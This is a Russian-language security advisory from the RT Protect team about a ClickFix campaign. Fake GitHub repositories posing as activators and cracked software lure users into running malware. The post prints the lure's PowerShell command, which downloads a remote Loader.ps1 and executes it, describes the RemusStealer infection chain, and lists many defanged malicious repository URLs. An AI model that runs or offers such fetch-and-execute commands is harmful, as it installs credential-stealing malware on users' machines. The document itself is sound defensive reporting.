ClickFix-атаки, или как пользователи сами приглашают злоумышленников
📢 В ходе мониторинга команда RT Protect обнаружила репозиторий с KMS-активатором, который маскировался под легитимный проект (скриншот 1).
Проект предлагает выполнить автоматическую установку и активацию с помощью сочетания клавиш WIN + X и последующего ввода команды: powershell -ExecutionPolicy Bypass -Command "irm hxxps://github-software[.]su/powershell/Loader.ps1 | iex
Если модуль irm недоступен, предлагается выполнить следующую команду (скриншот 2): Invoke-RestMethod hxxps://github-software[.]su/powershell/Loader.ps1 | Invoke-Expression
В результате выполнения команды скачивается и запускается PowerShell-скрипт Loader.ps1, который представляет собой одну из стадий загрузки ВПО семейства RemusStealer. Полная цепочка загрузки ВПО (скриншот 3): Loader.ps1 → Update.ps1 → 7za.exe + 1.zip → helper.exe → AutoIt3.exe + Ima.a3x → RemusStealer
Выполнение указанных команд было автоматически заблокировано RT Protect EDR (скриншот 4).
Менее чем через 20 минут пользователь был заблокирован в Active Directory, а конечная точка переведена в сетевую изоляцию.
В ходе дальнейшего исследования репозиториев GitHub аналитики обнаружили множество подобных репозиториев, маскирующихся под различные активаторы ПО и компьютерных игр: github[.]com/dev-Time81576318jagu/KMS-Pico-Download github[.]com/HydromancerPlant/EasyWorship-Software github[.]com/Forestplaexpiate/R.E.P.O-Trainer github[.]com/BoltAnchorage/Affinity-Photo-Tools github[.]com/CircuitSwift95/Rufus-Iso github[.]com/FloorSaboteur/Discord-Nitro-Tools github[.]com/DrakeDeanShield/File-Pumper github[.]com/Piecelimultiply/Adobe-Acrobat-Professional github[.]com/NeedInvestor/Imei-Repair-tool github[.]com/maxiboltnode/Quicken-Deluxe github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software github[.]com/Goldenouquilt37/Wirecast-Pro github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026 github[.]com/Creaturefleweave/VoiceMod-Pro-2026 github[.]com/LakeSunMomentum/CCLeaner-Profesional-2026 github[.]com/JadeVeterinarian/FlashBots-Tool github[.]com/CenterFlange/Unicore-Star-Rail github[.]com/Cracked-Flux7259-hq/Marvel-Rivals-Helper github[.]com/SupremeCloudChart/Rust-External-Menu-2026 github[.]com/Virtual-pwn608993/Cap-Cut-Pro github[.]com/Werewolftricode/Exposure-x7-Tool github[.]com/LancerSound27/AOMEI-Backupper github[.]com/Torusfaroller/Cinebench-Software github[.]com/Manacleunderrear/CATIA-Software github[.]com/basiliskloadervacuum/iZotope-Ozone-Software github[.]com/Gleamlyadome/Hwid-Spoofer-Toolkit github[.]com/TributaryBroker43/Adobe-After-Effects-2026 github[.]com/CapitalFighterTie17/Jailbreak-Claude github[.]com/HydromancerPlant/EasyWorship-Software github[.]com/BoltAnchorage/Affinity-Photo-Tools github[.]com/FloorSaboteur/Discord-Nitro-Tools github[.]com/dev-Time81576318jagu/KMS-Pico-Download github[.]com/NeedInvestor/Imei-Repair-tool github[.]com/ZEH-oxuTxd8PbqMqVnS791uT/payday3-hack github[.]com/lightningwayhallway/CyberLink-PowerDirector-2026 github[.]com/Forestplaexpiate/R.E.P.O-Trainer github[.]com/StorageBankerStable/FabFilter-Pro-Bundle-Software github[.]com/Piecelimultiply/Adobe-Acrobat-Professional github[.]com/Creaturefleweave/VoiceMod-Pro-2026 github[.]com/NaturePatronRear/RecoverIt-Software github[.]com/PsycheCashier/ClaudeAi-Jailbreak-Prompt
🐻 Важно: будьте бдительны и скачивайте программное обеспечение только из проверенных источников.